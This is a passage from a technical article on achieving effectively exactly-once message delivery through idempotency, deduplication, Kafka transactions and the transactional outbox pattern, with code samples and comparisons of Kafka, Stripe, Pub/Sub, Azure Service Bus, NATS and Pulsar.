- ❌ Requires coordination between producer, broker, and consumer
- ❌ Deduplication window creates edge cases

**Use cases**: Financial transactions, order processing, any operation where duplicates cause real-world harm.

### Comparison

| Aspect         | At-Most-Once | At-Least-Once | Exactly-Once              |
| -------------- | ------------ | ------------- | ------------------------- |
| Message loss   | Possible     | Never         | Never                     |
| Duplicates     | Never        | Possible      | Prevented                 |
| Complexity     | Low          | Medium        | High                      |
| Latency        | Lowest       | Medium        | Highest                   |
| State required | None         | Retry queue   | Dedup store + retry queue |

## Design Paths

### Path 1: Idempotent Operations

Make the operation itself idempotent—applying it multiple times produces the same result as applying it once.

**When to choose this path:**

- Operations are naturally idempotent (SET vs INCREMENT)
- You control the consumer's state model
- Minimal infrastructure investment desired

**Key characteristics:**

- No deduplication storage required
- Works regardless of delivery semantics
- Requires careful operation design

**Natural idempotency examples:**

```typescript
// SET operations are naturally idempotent
await db.query("UPDATE users SET email = $1 WHERE id = $2", [email, userId])

// DELETE with specific criteria is idempotent
await db.query("DELETE FROM sessions WHERE user_id = $1 AND token = $2", [userId, token])

// GET operations are always idempotent
const user = await db.query("SELECT * FROM users WHERE id = $1", [userId])
```

**Non-idempotent operations that need transformation:**

```typescript
// ❌ Non-idempotent: INCREMENT
await db.query("UPDATE accounts SET balance = balance + $1 WHERE id = $2", [amount, accountId])

// ✅ Idempotent version: SET with version check
await db.query(
  `
  UPDATE accounts
  SET balance = $1, version = $2
  WHERE id = $3 AND version = $4
`,
  [newBalance, newVersion, accountId, expectedVersion],
)
```

**Trade-offs vs other paths:**

| Aspect            | Idempotent Operations       | Deduplication           |
| ----------------- | --------------------------- | ----------------------- |
| Storage overhead  | None                        | Message ID store        |
| Design complexity | Higher (rethink operations) | Lower (add dedup layer) |
| Failure modes     | Version conflicts           | Window expiry           |
| Latency           | Lower                       | Higher (dedup lookup)   |

### Path 2: Idempotency Keys (API Pattern)

Client generates a unique key per logical operation. Server tracks keys and returns cached results for duplicates.

**When to choose this path:**

- Exposing APIs to external clients
- Operations are not naturally idempotent
- Client controls retry behavior

**Key characteristics:**

- Client generates unique key (UUID v4)
- Server stores operation result keyed by idempotency key
- Subsequent requests with same key return cached result
- Keys expire after a window (typically 24 hours)

**Implementation approach:**

```typescript collapse={1-8, 26-35}
// Server-side idempotency key handling
import { Redis } from "ioredis"

interface IdempotencyRecord {
  status: "processing" | "completed" | "failed"
  response?: unknown
  createdAt: number
}

async function handleWithIdempotency(
  redis: Redis,
  idempotencyKey: string,
  operation: () => Promise<unknown>,
): Promise<{ cached: boolean; response: unknown }> {
  // Check for existing record
  const existing = await redis.get(`idem:${idempotencyKey}`)
  if (existing) {
    const record: IdempotencyRecord = JSON.parse(existing)
    if (record.status === "completed") {
      return { cached: true, response: record.response }
    }
    // Still processing - return 409 Conflict
    throw new Error("Request already in progress")
  }

  // Mark as processing (with TTL to handle crashes)
  await redis.set(
    `idem:${idempotencyKey}`,
    JSON.stringify({ status: "processing", createdAt: Date.now() }),
    "EX",
    3600, // 1 hour TTL for processing state
    "NX", // Only set if not exists
  )

  // Execute operation and store result
  // ... operation execution and result caching
}
```

**Stripe's implementation details:**

- Keys stored in Redis cluster shared across all API servers
- 24-hour retention window
- Keys recycled after window expires
- Response includes original status code and body

**Real-world example:**

Stripe processes millions of payment requests daily. Their idempotency key system:

- Client includes `Idempotency-Key` header with UUID
- Server returns `Idempotent-Replayed: true` header for cached responses
- First request that fails partway through is re-executed on retry
- First request that succeeds is returned from cache on retry

Result: Zero duplicate charges from network retries.

### Path 3: Broker-Side Deduplication

Message broker tracks message IDs and filters duplicates before delivery to consumers.

**When to choose this path:**

- Using a message broker that supports deduplication
- Want to offload deduplication from consumers
- Willing to accept deduplication window constraints

**Key characteristics:**

- Producer assigns unique message ID
- Broker maintains recent message IDs in memory/storage
- Duplicates filtered before consumer delivery
- Window-based: IDs forgotten after expiry

**Kafka idempotent producer (since 0.11, default since 3.0):**

The broker assigns a 64-bit Producer ID (PID) to each producer instance. The producer assigns monotonically increasing 32-bit sequence numbers per topic-partition:

```
Producer → [PID: 12345, Seq: 0] → Broker (accepts)
Producer → [PID: 12345, Seq: 1] → Broker (accepts)
Producer → [PID: 12345, Seq: 1] → Broker (duplicate, rejects)
Producer → [PID: 12345, Seq: 3] → Broker (out-of-order, error)
```

**Configuration (Kafka 3.0+):**

```properties
# Defaults changed in Kafka 3.0 - these are now on by default
enable.idempotence=true
acks=all
```

> **Prior to Kafka 3.0**: `enable.idempotence` defaulted to `false` and `acks` defaulted to `1`. Enabling idempotence required explicit configuration.

**Key limitation**: Idempotence is only guaranteed within a producer session. If the producer crashes and restarts without a `transactional.id`, it gets a new PID and sequence numbers reset—previously sent messages may be duplicated.

**AWS SQS FIFO deduplication:**

- **Fixed** 5-minute deduplication window (cannot be changed)
- Two methods: explicit `MessageDeduplicationId` or content-based (SHA-256 of body)
- After window expires, same ID can be submitted again
- Best practice: anchor `MessageDeduplicationId` to business context (e.g., `order-12345.payment`)
- With partitioning enabled: `MessageDeduplicationId + MessageGroupId` determines uniqueness

**Trade-offs vs other paths:**

| Aspect               | Broker-Side    | Consumer-Side        |
| -------------------- | -------------- | -------------------- |
| Consumer complexity  | Lower          | Higher               |
| Dedup window control | Broker-defined | Application-defined  |
| Cross-broker dedup   | No             | Yes                  |
| Storage location     | Broker         | Application database |

### Path 4: Consumer-Side Deduplication

Consumer tracks processed message IDs and skips duplicates.

**When to choose this path:**

- Broker doesn't support deduplication
- Need longer deduplication windows than broker provides
- Want application-level control over dedup logic

**Key characteristics:**

- Consumer stores processed message IDs durably
- Check before processing; skip if seen
- ID storage must be in same transaction as state updates
- Flexible window: can retain IDs indefinitely

**Implementation with database constraints:**

```typescript collapse={1-6, 28-35}
// Idempotent consumer with database constraints
import { Pool } from "pg"

interface Message {
  id: string
  payload: unknown
}

async function processIdempotently(
  pool: Pool,
  subscriberId: string,
  message: Message,
  handler: (payload: unknown) => Promise<void>,
): Promise<{ processed: boolean }> {
  const client = await pool.connect()
  try {
    await client.query("BEGIN")

    // Insert message ID - fails if duplicate (primary key violation)
    const result = await client.query(
      `INSERT INTO processed_messages (subscriber_id, message_id, processed_at)
       VALUES ($1, $2, NOW())
       ON CONFLICT DO NOTHING
       RETURNING message_id`,
      [subscriberId, message.id],
    )

    if (result.rowCount === 0) {
      // Duplicate - skip processing
      await client.query("ROLLBACK")
      return { processed: false }
    }

    // Process message (state updates happen here)
    await handler(message.payload)

    await client.query("COMMIT")
    return { processed: true }
  } finally {
    client.release()
  }
}
```

**Schema:**

```sql
CREATE TABLE processed_messages (
  subscriber_id VARCHAR(255) NOT NULL,
  message_id VARCHAR(255) NOT NULL,
  processed_at TIMESTAMP NOT NULL DEFAULT NOW(),
  PRIMARY KEY (subscriber_id, message_id)
);

-- Index for cleanup queries
CREATE INDEX idx_processed_messages_time
  ON processed_messages (processed_at);
```

**Real-world example:**

A payment processor handling webhook retries:

- Each webhook includes unique `event_id`
- Before processing: check if `event_id` exists in `processed_webhooks` table
- If exists: return 200 OK immediately (idempotent response)
- If not: process event, insert ID, return 200 OK
- Daily job: delete records older than 30 days

Result: Webhooks can be retried indefinitely without duplicate effects.

### Path 5: Transactional Processing

Wrap read-process-write into an atomic transaction. Either all effects happen or none do.

**When to choose this path:**

- Using Kafka with exactly-once requirements
- Processing involves read → transform → write pattern
- Need atomicity across multiple output topics/partitions

**Key characteristics:**

- Producer, consumer, and state updates are transactional
- Consumer offset committed as part of transaction
- Aborted transactions don't affect state
- Requires `isolation.level=read_committed` on consumers

**Kafka transactional producer/consumer:**

```typescript collapse={1-12, 45-55}
// Kafka exactly-once consume-transform-produce
import { Kafka, EachMessagePayload } from "kafkajs"

const kafka = new Kafka({ brokers: ["localhost:9092"] })

const producer = kafka.producer({
  transactionalId: "my-transactional-producer",
  maxInFlightRequests: 1,
  idempotent: true,
})

const consumer = kafka.consumer({
  groupId: "my-group",
  readUncommitted: false, // read_committed isolation
})

async function processExactlyOnce() {
  await producer.connect()
  await consumer.connect()
  await consumer.subscribe({ topic: "input-topic" })

  await consumer.run({
    eachMessage: async ({ topic, partition, message }: EachMessagePayload) => {
      const transaction = await producer.transaction()

      try {
        // Transform message
        const result = transform(message.value)

        // Produce to output topic (within transaction)
        await transaction.send({
          topic: "output-topic",
          messages: [{ value: result }],
        })

        // Commit consumer offset (within same transaction)
        await transaction.sendOffsets({
          consumerGroupId: "my-group",
          topics: [{ topic, partitions: [{ partition, offset: message.offset }] }],
        })

        await transaction.commit()
      } catch (error) {
        await transaction.abort()
        throw error
      }
    },
  })
}

function transform(value: Buffer | null): string {
  // Your transformation logic
  return value?.toString().toUpperCase() ?? ""
}
```

**Kafka's transactional guarantees:**

- **Atomicity**: All messages in transaction commit together or none commit
- **Isolation**: Consumers with `read_committed` only see committed messages
- **Durability**: Committed transactions survive broker failures

**Trade-offs vs other paths:**

| Aspect       | Transactional         | Consumer-Side Dedup      |
| ------------ | --------------------- | ------------------------ |
| Latency      | Higher (coordination) | Lower                    |
| Complexity   | Framework handles     | Application handles      |
| Cross-system | Kafka ecosystem only  | Works with any broker    |
| Recovery     | Automatic             | Manual offset management |

### Path 6: Transactional Outbox

Solve the dual-write problem by writing business data and events to the same database transaction, then asynchronously publishing events to the message broker.

**When to choose this path:**

- Need to update a database AND publish an event atomically
- Cannot tolerate lost events or phantom events (event published but DB write failed)
- Using a broker that doesn't support distributed transactions with your database

**Key characteristics:**

- Business data and outbox event written in single database transaction
- Background process reads outbox and publishes to broker
- Events marked as published or deleted after successful publish
- Requires idempotent consumers (relay may publish duplicates on crash recovery)

**Implementation approaches:**

| Approach                  | Description                                            | Trade-offs                                          |
| ------------------------- | ------------------------------------------------------ | --------------------------------------------------- |
| Polling Publisher         | Background service polls outbox table periodically     | Simple, adds latency (polling interval)             |
| Change Data Capture (CDC) | Tools like Debezium read database transaction logs     | Lower latency, preserves order, more infrastructure |
| Log-only outbox           | PostgreSQL logical decoding without materializing rows | Minimal database growth, Postgres-specific          |

**Implementation with polling publisher:**

```typescript collapse={1-10, 35-50}
// Transactional outbox pattern
import { Pool, PoolClient } from "pg"

interface OutboxEvent {
  id: string
  aggregateType: string
  aggregateId: string
  eventType: string
  payload: unknown
  createdAt: Date
}

async function createOrderWithEvent(pool: Pool, order: Order): Promise<void> {
  const client = await pool.connect()
  try {
    await client.query("BEGIN")

    // Write business data
    await client.query(
      `INSERT INTO orders (id, customer_id, total, status)
       VALUES ($1, $2, $3, $4)`,
      [order.id, order.customerId, order.total, "created"],
    )

    // Write event to outbox in same transaction
    await client.query(
      `INSERT INTO outbox (id, aggregate_type, aggregate_id, event_type, payload)
       VALUES ($1, $2, $3, $4, $5)`,
      [crypto.randomUUID(), "Order", order.id, "OrderCreated", JSON.stringify(order)],
    )

    await client.query("COMMIT")
  } catch (error) {
    await client.query("ROLLBACK")
    throw error
  } finally {
    client.release()
  }
}

// Polling publisher (separate process)
async function publishOutboxEvents(pool: Pool, publisher: MessagePublisher): Promise<void> {
  const client = await pool.connect()
  // ... polling and publishing logic
}
```

**Outbox table schema:**

```sql
CREATE TABLE outbox (
  id UUID PRIMARY KEY,
  aggregate_type VARCHAR(255) NOT NULL,
  aggregate_id VARCHAR(255) NOT NULL,
  event_type VARCHAR(255) NOT NULL,
  payload JSONB NOT NULL,
  created_at TIMESTAMP NOT NULL DEFAULT NOW(),
  published_at TIMESTAMP NULL
);

CREATE INDEX idx_outbox_unpublished ON outbox (created_at)
  WHERE published_at IS NULL;
```

**Trade-offs vs direct publishing:**

| Aspect         | Transactional Outbox      | Direct to Broker   |
| -------------- | ------------------------- | ------------------ |
| Atomicity      | Guaranteed                | Dual-write problem |
| Latency        | Higher (async relay)      | Lower (direct)     |
| Complexity     | Higher (outbox + relay)   | Lower              |
| Ordering       | Preserved (by created_at) | Depends on broker  |
| Infrastructure | Database + relay process  | Broker only        |

**Real-world usage:**

Debezium's outbox connector reads the outbox table via CDC and publishes to Kafka. This eliminates the need for a custom polling publisher and provides exactly-once delivery when combined with Kafka transactions.

### Decision Framework

![Diagram](./diagram-1.svg)

## Production Implementations

### Kafka: Confluent's EOS

**Context:** Apache Kafka, originally developed at LinkedIn, now maintained by Confluent. Processes trillions of messages per day across major tech companies.

**Implementation choices:**

- Pattern variant: Idempotent producer + transactional processing
- Key customization: Producer ID (PID) with per-partition sequence numbers
- Scale: Tested at 1M+ messages/second with exactly-once guarantees

**Architecture:**

![Diagram](./diagram-2.svg)

**Specific details:**

- Broker assigns 64-bit Producer ID to each producer on init
- Sequence numbers are per topic-partition, 32-bit integers
- Broker maintains last 5 sequence numbers in memory (configurable)
- `transactional.id` persists PID across producer restarts
- Transaction coordinator manages two-phase commit for multi-partition writes

**Version evolution:**

| Version    | Change                                                                              |
| ---------- | ----------------------------------------------------------------------------------- |
| Kafka 0.11 | KIP-98 introduced idempotent producers and transactions                             |
| Kafka 2.5  | EOS v2 introduced (improved scalability via KIP-447)                                |
| Kafka 3.0  | `enable.idempotence=true` and `acks=all` become defaults                            |
| Kafka 3.3  | KIP-618 added exactly-once for Kafka Connect source connectors                      |
| Kafka 4.0  | Will remove deprecated `exactly_once` and `exactly_once_beta` processing guarantees |

> **KIP-939 (in progress, 2024)**: Enables Kafka to participate in externally-coordinated 2PC transactions with databases. Adds a "prepare" RPC to the transaction coordinator, enabling atomic dual-writes between Kafka and external databases without the transactional outbox pattern.

**What worked:**

- Zero-overhead idempotency when enabled by default (Kafka 3.0+)
- Transactional writes perform within 3% of non-transactional in benchmarks

**What was hard:**

- Transaction coordinator becomes single point of coordination
- `transactional.id` management across producer instances
- Consumer rebalancing during transaction can cause duplicates if not using `read_committed`
- **EOS stops at the Kafka cluster boundary**—beyond Kafka, consumers must be idempotent

**Source:** [KIP-98 - Exactly Once Delivery and Transactional Messaging](https://cwiki.apache.org/confluence/display/KAFKA/KIP-98+-+Exactly+Once+Delivery+and+Transactional+Messaging)

### Stripe: Idempotency Keys

**Context:** Payment processing platform handling millions of API requests daily. A single duplicate charge causes real financial harm.

**Implementation choices:**

- Pattern variant: Client-generated idempotency keys with server-side caching
- Key customization: 24-hour retention, Redis-backed distributed cache
- Scale: Handles all Stripe API traffic with idempotency support

**Architecture:**

![Diagram](./diagram-3.svg)

**Specific details:**

- Keys are user-provided strings up to 255 characters
- Response cached includes status code, headers, and body
- `Idempotent-Replayed: true` header indicates cached response
- Keys in "processing" state return 409 Conflict on retry
- Separate Redis cluster for idempotency to isolate failure domains

**What worked:**

- Completely eliminates duplicate charges from network issues
- Clients can safely retry with exponential backoff
- No application logic changes needed for idempotent endpoints

**What was hard:**

- Determining correct 24-hour window (too short = duplicates, too long = storage cost)
- Handling partial failures (charge succeeded but idempotency record write failed)
- Cross-datacenter replication of idempotency store

**Source:** [Designing robust and predictable APIs with idempotency](https://stripe.com/blog/idempotency)

### Google Pub/Sub: Exactly-Once Delivery

**Context:** Google Cloud's managed messaging service. Added exactly-once delivery (GA December 2022).

**Implementation choices:**

- Pattern variant: Broker-side deduplication with acknowledgment tracking
- Key customization: Regional scope, unique message IDs
- Scale: Google-scale messaging with exactly-once in single region

**Specific details:**

- Exactly-once guaranteed **within a single cloud region only**
- Uses unique message IDs assigned by Pub/Sub
- Subscribers receive acknowledgment confirmation (acknowledge succeeded or failed)
- Only the **latest acknowledgment ID** can acknowledge a message—previous IDs fail
- Default ack deadline: 60 seconds if unspecified

**Supported configurations:**

| Feature              | Exactly-Once Support |
| -------------------- | -------------------- |
| Pull subscriptions   | Yes                  |
| StreamingPull API    | Yes                  |
| Push subscriptions   | No                   |
| Export subscriptions | No                   |

**Performance trade-offs:**

- **Higher latency**: Significantly higher publish-to-subscribe latency vs regular subscriptions
- **Throughput limitation**: ~1,000 messages/second when combined with ordered delivery
- **Publish-side duplicates**: Subscription may still receive duplicates originating from the publish side

**Client library minimum versions (required for exactly-once):**

| Language | Version   |
| -------- | --------- |
| Python   | v2.13.6+  |
| Java     | v1.139.0+ |
| Go       | v1.25.1+  |
| Node.js  | v3.2.0+   |

**What worked:**

- Eliminates need for application-level deduplication in many cases
- Ack confirmation tells subscriber definitively if message was processed

**What was hard:**

- **Regional constraint**: Cross-region subscribers may receive duplicates
- Push subscriptions excluded (no ack confirmation mechanism)
- Still requires idempotent handlers for regional failover scenarios
- "The feature does not provide any guarantees around exactly-once side effects"—side effects are outside scope

**Source:** [Cloud Pub/Sub exactly-once delivery](https://cloud.google.com/pubsub/docs/exactly-once-delivery)

### Azure Service Bus: Duplicate Detection

**Context:** Microsoft's managed messaging service with configurable deduplication windows.

**Implementation choices:**

- Pattern variant: Broker-side deduplication with configurable window
- Key customization: Window from 20 seconds to 7 days
- Limitation: Standard/Premium tiers only (not Basic)

**Specific details:**

- Tracks `MessageId` of all messages during the deduplication window
- Duplicate messages are **accepted** (send succeeds) but **instantly dropped**
- Cannot enable/disable duplicate detection after queue/topic creation
- With partitioning: `MessageId + PartitionKey` determines uniqueness

**Configuration:**

```
duplicateDetectionHistoryTimeWindow: P7D  // ISO 8601 duration, max 7 days
```

**Best practice for MessageId:**

```
{application-context}.{message-subject}
Example: purchase-order-12345.payment
```

**Trade-off:** Longer windows provide better duplicate protection but consume more storage for tracking message IDs.

**Source:** [Azure Service Bus duplicate detection](https://learn.microsoft.com/en-us/azure/service-bus-messaging/duplicate-detection)

### NATS JetStream: Message Deduplication

**Context:** High-performance messaging system with built-in deduplication.

**Implementation choices:**

- Pattern variant: Header-based deduplication with sliding window
- Key customization: Configurable window (default 2 minutes)
- Alternative: Infinite deduplication via `DiscardNewPerSubject` (NATS 2.9.0+)

**Specific details:**

- Uses `Nats-Msg-Id` header for duplicate detection
- Server tracks message IDs within deduplication window
- **Double acknowledgment** mechanism prevents erroneous re-sends after failures

**Infinite deduplication pattern (NATS 2.9.0+):**

```
// Stream configuration for infinite deduplication
{
  "discard": "new",
  "discard_new_per_subject": true,
  "max_msgs_per_subject": 1
}

// Include unique ID in subject
Subject: orders.create.{order-id}
```

Publish fails if a message with that subject already exists—provides infinite exactly-once publication.

**Source:** [JetStream Model Deep Dive](https://docs.nats.io/using-nats/developer/develop_jetstream/model_deep_dive)

### Apache Pulsar: Transactions

**Context:** Multi-tenant distributed messaging with native exactly-once support since Pulsar 2.8.0.

**Implementation choices:**

- Pattern variant: Transaction API for atomic produce and acknowledgement
- Key customization: Cross-topic atomicity
- Scale: Used in production at Yahoo, Tencent, Verizon

**Specific details:**

- Transaction API enables atomic produce and acknowledgement across multiple topics
- Idempotent producer + exactly-once semantics at single partition level
- If transaction aborts, all writes and acknowledgments roll back

**Transaction flow:**

```
1. Begin transaction
2. Produce to topic A (within transaction)
3. Produce to topic B (within transaction)
4. Acknowledge consumed message (within transaction)
5. Commit or abort
```

**Integration:** Works with Apache Flink via `TwoPhaseCommitSinkFunction` for end-to-end exactly-once.

**Source:** [Pulsar Transactions](https://pulsar.apache.org/docs/next/txn-what/)

### Implementation Comparison

| Aspect         | Kafka EOS               | Stripe Idempotency  | Pub/Sub         | Azure Service Bus | NATS JetStream  | Pulsar               |
| -------------- | ----------------------- | ------------------- | --------------- | ----------------- | --------------- | -------------------- |
| Variant        | Producer + transactions | Client keys + cache | Broker dedup    | Broker dedup      | Header dedup    | Transactions         |
| Scope          | Kafka cluster           | Any HTTP client     | Single region   | Queue/Topic       | Stream          | Multi-topic          |
| Dedup window   | Session/configurable    | 24 hours            | Regional        | 20s–7 days        | 2 min (default) | Transaction          |
| Latency impact | 3%                      | Cache lookup        | Significant     | Minimal           | Minimal         | Transaction overhead |
| Client changes | Config only             | Add header          | Library upgrade | None              | Add header      | Transaction API      |

## Common Pitfalls

### 1. Deduplication Window Expiry

**The mistake:** Retry timeout longer than deduplication window.

**Example:**

- Send message with ID "X" at T=0
- AWS SQS FIFO has 5-minute deduplication window
- Client retry policy: exponential backoff up to 10 minutes
- At T=6 minutes: client retries, SQS accepts as new message
- Result: Duplicate processing despite deduplication "guarantee"

**Solutions:**

- Ensure max retry delay < deduplication window
- Use exponential backoff with cap: `min(2^attempt * 100ms, windowSize * 0.8)`
- For critical operations: implement consumer-side deduplication as backup

### 2. Producer Restart Losing Sequence State

**The mistake:** Idempotent producer without `transactional.id` loses sequence state on restart.

**Example:**

- Kafka producer with `enable.idempotence=true` but no `transactional.id`
- Producer crashes after sending message with seq=42
- Producer restarts, gets new PID, sequence resets to 0
- Messages with seq 0-42 are accepted again as "new"
- Result: 43 duplicate messages

**Solutions:**

- Set `transactional.id` for producers that must survive restarts
- Or: accept potential duplicates and ensure consumer idempotency

### 3. Consumer Rebalancing Race Condition

**The mistake:** Processing message but not committing offset before rebalance.

**Example:**

- Consumer processes message from partition 0
- Before offset commit: rebalance triggered (session timeout, new consumer joins)
- Partition 0 reassigned to different consumer
- New consumer reads from last committed offset (before the processed message)
- Result: Message processed twice by two different consumers

**Solutions:**

- Use transactional consumers (offset committed with output)
- Implement idempotent consumer pattern (database constraint on message ID)
- Increase `session.timeout.ms` for slow processing
- Use cooperative rebalancing (`partition.assignment.strategy=CooperativeStickyAssignor`)

### 4. Assuming Idempotency Key Uniqueness

**The mistake:** Using predictable keys that collide across users/operations.

**Example:**

- Developer uses `orderId` as idempotency key
- User A creates order 12345, key = "12345"
- User B creates order 12345 in different tenant, same key = "12345"
- User B's request returns User A's cached response
- Result: Data leakage between tenants

**Solutions:**

- Include tenant/user ID in key: `{tenantId}:{operationId}`
- Use client-generated UUIDs (UUID v4)
- Never derive keys solely from user-provided identifiers

### 5. Idempotency for GET Requests

**The mistake:** Adding idempotency keys to read operations.

**Example:**

- Developer adds idempotency keys to all endpoints including GET
- GET /user/123 with key "abc" returns user data, cached
- User updates their profile
- GET /user/123 with key "abc" returns stale cached data
- Result: Clients see outdated data indefinitely

**Solutions:**

- Idempotency keys only for state-changing operations (POST, PUT, DELETE)
- GET requests are naturally idempotent—no key needed
- If caching reads, use standard HTTP caching (ETags, Cache-Control)

### 6. Clock Skew in Last-Write-Wins

**The mistake:** Using wall-clock timestamps for conflict resolution in distributed system.

**Example:**

- Node A (clock +100ms skew) writes value V1 at local time T1
- Node B (accurate clock) writes value V2 at local time T2
- T1 > T2 due to clock skew, but V2 was actually written later
- LWW comparison: V1 wins because T1 > T2
- Result: Causally later write (V2) is discarded

**Solutions:**

- Use Lamport timestamps or vector clocks instead of wall clocks
- Use hybrid logical clocks (HLC) for ordering with physical time hints
- Accept that LWW with physical clocks is eventually consistent, not causally consistent

### 7. Assuming EOS Extends Beyond System Boundaries

**The mistake:** Believing Kafka's exactly-once guarantees extend to downstream systems.

**Example:**

- Kafka Streams app with `processing.guarantee=exactly_once_v2`
- App reads from Kafka, processes, writes to PostgreSQL
- Assumption: "Kafka handles exactly-once, so PostgreSQL writes are safe"
- Reality: Kafka EOS only covers Kafka-to-Kafka. The PostgreSQL write is outside the transaction.
- Result: Consumer crashes after PostgreSQL write but before Kafka offset commit → duplicate write on restart

**Solutions:**

- Use transactional outbox pattern for database writes
- Implement idempotent database operations (upsert with message ID)
- Use KIP-939 (when available) for native 2PC with external databases
- Always design downstream consumers as idempotent regardless of upstream guarantees

## Implementation Guide

### Starting Point Decision

![Diagram](./diagram-4.svg)

### System Selection Guide

| Requirement           | Recommended System  | Reason                           |
| --------------------- | ------------------- | -------------------------------- |
| Kafka ecosystem       | Kafka with EOS v2   | Native support, minimal overhead |
| Serverless/managed    | SQS FIFO or Pub/Sub | No infrastructure to manage      |
| Configurable window   | Azure Service Bus   | 20s to 7 days window             |
| High performance      | NATS JetStream      | Low latency, simple model        |
| Cross-topic atomicity | Pulsar or Kafka     | Transaction APIs                 |
| HTTP API idempotency  | Redis + custom code | Stripe pattern                   |

### When to Build Custom

**Build custom when:**

- Existing solutions don't fit your consistency requirements
- Cross-system exactly-once needed (Kafka → external database)
- Need longer deduplication windows than broker provides
- Performance requirements exceed library capabilities

**Implementation checklist:**

- [ ] Define deduplication key format (unique, collision-resistant)
- [ ] Choose deduplication storage (Redis, database, in-memory)
- [ ] Set deduplication window (longer than max retry delay)
- [ ] Implement atomic state update + dedup record insert
- [ ] Add cleanup job for expired deduplication records
- [ ] Test with network partition simulation
- [ ] Test with producer/consumer restart scenarios
- [ ] Document failure modes and recovery procedures

### Testing Exactly-Once

**Unit tests:**

- Same message ID processed twice → single state change
- Different message IDs → independent state changes
- Concurrent identical requests → single effect

**Integration tests:**

- Producer crash mid-send → no duplicates after restart
- Consumer crash mid-process → message reprocessed once
- Broker failover → no duplicates or losses

**Chaos testing:**

- Network partition between producer and broker
- Kill consumer during processing
- Slow consumer causing rebalance
- Clock skew between nodes

## Conclusion

Exactly-once delivery is a misnomer—true exactly-once is mathematically impossible in distributed systems. What we achieve is "effectively exactly-once": at-least-once delivery combined with idempotency mechanisms that ensure each message's effect occurs exactly once.

The key insight is that exactly-once is a **composition**, not a primitive:

1. Never lose messages (at-least-once delivery with retries and persistence)
2. Make duplicates harmless (idempotent operations, deduplication tracking, or transactional processing)

Choose your implementation based on your constraints:

- **Idempotent operations** when you control the state model
- **Idempotency keys** for external-facing APIs
- **Broker-side deduplication** when your broker supports it (Kafka, SQS FIFO, Pub/Sub, Azure Service Bus, NATS JetStream)
- **Consumer-side deduplication** for maximum control and longer windows
- **Transactional processing** for Kafka/Pulsar consume-transform-produce patterns
- **Transactional outbox** when you need atomic database + event writes

Every approach has failure modes around the deduplication window. Design your retry policies to fit within the window, and consider layered approaches (broker + consumer deduplication) for critical paths.

**Critical reminder**: Most exactly-once guarantees stop at system boundaries. Kafka EOS doesn't extend to your PostgreSQL database. Pub/Sub exactly-once is regional. Always design downstream consumers as idempotent, regardless of upstream guarantees.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (network failures, partial failures)
- Familiarity with message brokers (Kafka, SQS, or similar)
- Basic knowledge of database transactions

### Terminology

- **Idempotency**: Property where applying an operation multiple times produces the same result as applying it once
- **PID (Producer ID)**: Unique 64-bit identifier assigned to a Kafka producer instance by the broker
- **Deduplication window**: Time period during which the system remembers message IDs for duplicate detection
- **EOS (Exactly-Once Semantics)**: Kafka's term for effectively exactly-once processing guarantees
- **2PC (Two-Phase Commit)**: Distributed transaction protocol that ensures atomic commits across multiple participants
- **CDC (Change Data Capture)**: Technique for reading database changes from transaction logs
- **Transactional outbox**: Pattern where events are written to an outbox table in the same database transaction as business data

### Summary

- True exactly-once delivery is impossible (Two Generals 1975, FLP 1985)
- "Exactly-once" means at-least-once delivery + idempotent consumption
- Six implementation paths: idempotent operations, idempotency keys, broker-side dedup, consumer-side dedup, transactional processing, transactional outbox
- Every deduplication mechanism has a window—design retry policies accordingly
- Kafka EOS: idempotent producers (PID + sequence) + transactional consumers (`read_committed`); default since Kafka 3.0
- Deduplication windows vary: SQS FIFO (5 min fixed), Azure Service Bus (20s–7 days), NATS (2 min default)
- Most exactly-once guarantees stop at system boundaries—always design downstream consumers as idempotent
- Test with chaos: network partitions, restarts, rebalancing, clock skew

### References

**Theoretical Foundations**

- [Impossibility of Distributed Consensus with One Faulty Process](https://groups.csail.mit.edu/tds/papers/Lynch/jacm85.pdf) - FLP impossibility theorem (1985)
- [A Brief Tour of FLP Impossibility](https://www.the-paper-trail.org/post/2008-08-13-a-brief-tour-of-flp-impossibility/) - Accessible explanation of FLP
- [Two Generals' Problem](https://en.wikipedia.org/wiki/Two_Generals%27_Problem) - First computer communication problem proven unsolvable

**Apache Kafka**

- [KIP-98 - Exactly Once Delivery and Transactional Messaging](https://cwiki.apache.org/confluence/display/KAFKA/KIP-98+-+Exactly+Once+Delivery+and+Transactional+Messaging) - Kafka's exactly-once specification
- [KIP-129 - Streams Exactly-Once Semantics](https://cwiki.apache.org/confluence/display/KAFKA/KIP-129%3A+Streams+Exactly-Once+Semantics) - Kafka Streams exactly-once
- [KIP-447 - Producer scalability for exactly once semantics](https://cwiki.apache.org/confluence/display/KAFKA/KIP-447:+Producer+scalability+for+exactly+once+semantics) - EOS v2 improvements
- [KIP-939 - Support Participation in 2PC](https://cwiki.apache.org/confluence/display/KAFKA/KIP-939:+Support+Participation+in+2PC) - Kafka + external database atomic writes
- [Message Delivery Guarantees for Apache Kafka](https://docs.confluent.io/kafka/design/delivery-semantics.html) - Confluent official docs
- [Exactly-once Support in Apache Kafka](https://medium.com/@jaykreps/exactly-once-support-in-apache-kafka-55e1fdd0a35f) - Jay Kreps on Kafka EOS

**Cloud Messaging Services**

- [Cloud Pub/Sub exactly-once delivery](https://cloud.google.com/pubsub/docs/exactly-once-delivery) - Google Pub/Sub implementation
- [AWS SQS FIFO exactly-once processing](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues-exactly-once-processing.html) - AWS implementation
- [Azure Service Bus duplicate detection](https://learn.microsoft.com/en-us/azure/service-bus-messaging/duplicate-detection) - Azure implementation

**Other Messaging Systems**

- [JetStream Model Deep Dive](https://docs.nats.io/using-nats/developer/develop_jetstream/model_deep_dive) - NATS deduplication
- [Pulsar Transactions](https://pulsar.apache.org/docs/next/txn-what/) - Apache Pulsar exactly-once

**API Idempotency**

- [Designing robust and predictable APIs with idempotency](https://stripe.com/blog/idempotency) - Stripe's idempotency key pattern
- [Implementing Stripe-like Idempotency Keys in Postgres](https://brandur.org/idempotency-keys) - Detailed implementation guide

**Patterns**

- [Transactional outbox pattern](https://microservices.io/patterns/data/transactional-outbox.html) - Microservices.io pattern reference
- [Reliable Microservices Data Exchange With the Outbox Pattern](https://debezium.io/blog/2019/02/19/reliable-microservices-data-exchange-with-the-outbox-pattern/) - Outbox pattern with CDC
- [Idempotent Consumer Pattern](https://microservices.io/patterns/communication-style/idempotent-consumer.html) - Microservices.io pattern reference

**General**

